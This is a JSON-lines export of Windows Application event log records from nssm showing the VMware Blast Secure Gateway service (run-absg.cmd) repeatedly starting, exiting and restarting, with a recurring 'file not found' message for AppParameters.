{"@timestamp":1646782724109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163756}}
{"@timestamp":1646782724110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163757}}
{"@timestamp":1646782852604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163758}}
{"@timestamp":1646782852604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163759}}
{"@timestamp":1646782852605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160396","0"]}}},"module":"Application","provider":"nssm","sequence":163760}}
{"@timestamp":1646782852605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160396","160396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163761}}
{"@timestamp":1646782852621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163762}}
{"@timestamp":1646782852622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163763}}
{"@timestamp":1646782852622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163764}}
{"@timestamp":1646782852623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163765}}
{"@timestamp":1646782981200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163766}}
{"@timestamp":1646782981201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163767}}
{"@timestamp":1646782981202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160448","0"]}}},"module":"Application","provider":"nssm","sequence":163768}}
{"@timestamp":1646782981203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160448","160448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163769}}
{"@timestamp":1646782981220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163770}}
{"@timestamp":1646782981221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163771}}
{"@timestamp":1646782981221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163772}}
{"@timestamp":1646782981222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163773}}
{"@timestamp":1646783109702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163774}}
{"@timestamp":1646783109703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163775}}
{"@timestamp":1646783109704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161184","0"]}}},"module":"Application","provider":"nssm","sequence":163776}}
{"@timestamp":1646783109705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161184","161184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163777}}
{"@timestamp":1646783109722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163778}}
{"@timestamp":1646783109723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163779}}
{"@timestamp":1646783109724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163780}}
{"@timestamp":1646783109725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163781}}
{"@timestamp":1646783238233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163782}}
{"@timestamp":1646783238235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163783}}
{"@timestamp":1646783238236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161772","0"]}}},"module":"Application","provider":"nssm","sequence":163784}}
{"@timestamp":1646783238236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161772","161772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163785}}
{"@timestamp":1646783238256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163786}}
{"@timestamp":1646783238257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163787}}
{"@timestamp":1646783238258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163788}}
{"@timestamp":1646783238259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163789}}
{"@timestamp":1646783366750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163790}}
{"@timestamp":1646783366752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163791}}
{"@timestamp":1646783366752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161256","0"]}}},"module":"Application","provider":"nssm","sequence":163792}}
{"@timestamp":1646783366753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161256","161256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163793}}
{"@timestamp":1646783366771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163794}}
{"@timestamp":1646783366772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163795}}
{"@timestamp":1646783366772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163796}}
{"@timestamp":1646783366773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163797}}
{"@timestamp":1646783495262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163798}}
{"@timestamp":1646783495264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163799}}
{"@timestamp":1646783495265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160792","0"]}}},"module":"Application","provider":"nssm","sequence":163800}}
{"@timestamp":1646783495266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160792","160792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163801}}
{"@timestamp":1646783495285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163802}}
{"@timestamp":1646783495286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163803}}
{"@timestamp":1646783495286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163804}}
{"@timestamp":1646783495287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163805}}
{"@timestamp":1646783623816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163806}}
{"@timestamp":1646783623817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163807}}
{"@timestamp":1646783623817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161356","0"]}}},"module":"Application","provider":"nssm","sequence":163808}}
{"@timestamp":1646783623818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161356","161356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163809}}
{"@timestamp":1646783623838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163810}}
{"@timestamp":1646783623839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163811}}
{"@timestamp":1646783623839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163812}}
{"@timestamp":1646783623840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163813}}
{"@timestamp":1646783752334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163814}}
{"@timestamp":1646783752336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163815}}
{"@timestamp":1646783752337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158408","0"]}}},"module":"Application","provider":"nssm","sequence":163816}}
{"@timestamp":1646783752338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158408","158408","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163817}}
{"@timestamp":1646783752355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163818}}
{"@timestamp":1646783752356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163819}}
{"@timestamp":1646783752356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163820}}
{"@timestamp":1646783752357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163821}}
{"@timestamp":1646783880844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163822}}
{"@timestamp":1646783880846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163823}}
{"@timestamp":1646783880846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161388","0"]}}},"module":"Application","provider":"nssm","sequence":163824}}
{"@timestamp":1646783880847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161388","161388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163825}}
{"@timestamp":1646783880866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163826}}
{"@timestamp":1646783880866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163827}}
{"@timestamp":1646783880867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163828}}
{"@timestamp":1646783880868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163829}}
{"@timestamp":1646784009333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163830}}
{"@timestamp":1646784009335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163831}}
{"@timestamp":1646784009336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161784","0"]}}},"module":"Application","provider":"nssm","sequence":163832}}
{"@timestamp":1646784009336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161784","161784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163833}}
{"@timestamp":1646784009354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163834}}
{"@timestamp":1646784009355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163835}}
{"@timestamp":1646784009355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163836}}
{"@timestamp":1646784009356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163837}}
{"@timestamp":1646784137856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163838}}
{"@timestamp":1646784137857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163839}}
{"@timestamp":1646784137858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161220","0"]}}},"module":"Application","provider":"nssm","sequence":163840}}
{"@timestamp":1646784137859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161220","161220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163841}}
{"@timestamp":1646784137876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163842}}
{"@timestamp":1646784137877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163843}}
{"@timestamp":1646784137877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163844}}
{"@timestamp":1646784137878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163845}}
{"@timestamp":1646784266356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163846}}
{"@timestamp":1646784266358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163847}}
{"@timestamp":1646784266358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161096","0"]}}},"module":"Application","provider":"nssm","sequence":163848}}
{"@timestamp":1646784266359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161096","161096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163849}}
{"@timestamp":1646784266380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163850}}
{"@timestamp":1646784266381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163851}}
{"@timestamp":1646784266381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163852}}
{"@timestamp":1646784266382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163853}}
{"@timestamp":1646784394862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163854}}
{"@timestamp":1646784394862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163855}}
{"@timestamp":1646784394863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161032","0"]}}},"module":"Application","provider":"nssm","sequence":163856}}
{"@timestamp":1646784394863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161032","161032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163857}}
{"@timestamp":1646784394879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163858}}
{"@timestamp":1646784394880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163859}}
{"@timestamp":1646784394880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163860}}
